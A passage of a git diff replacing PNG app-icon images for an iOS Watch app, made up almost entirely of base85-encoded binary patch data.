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 E0Y?}Ic>n+a diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-45@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-app-45@2x.png index 55977b8f6e75c44b1def842100ed78b0995f3067..3594312a6a0d8d7a3026a1519727651ebf65ffcc 100644 GIT binary patch literal 8126 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 DrUrs4 literal 10544 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 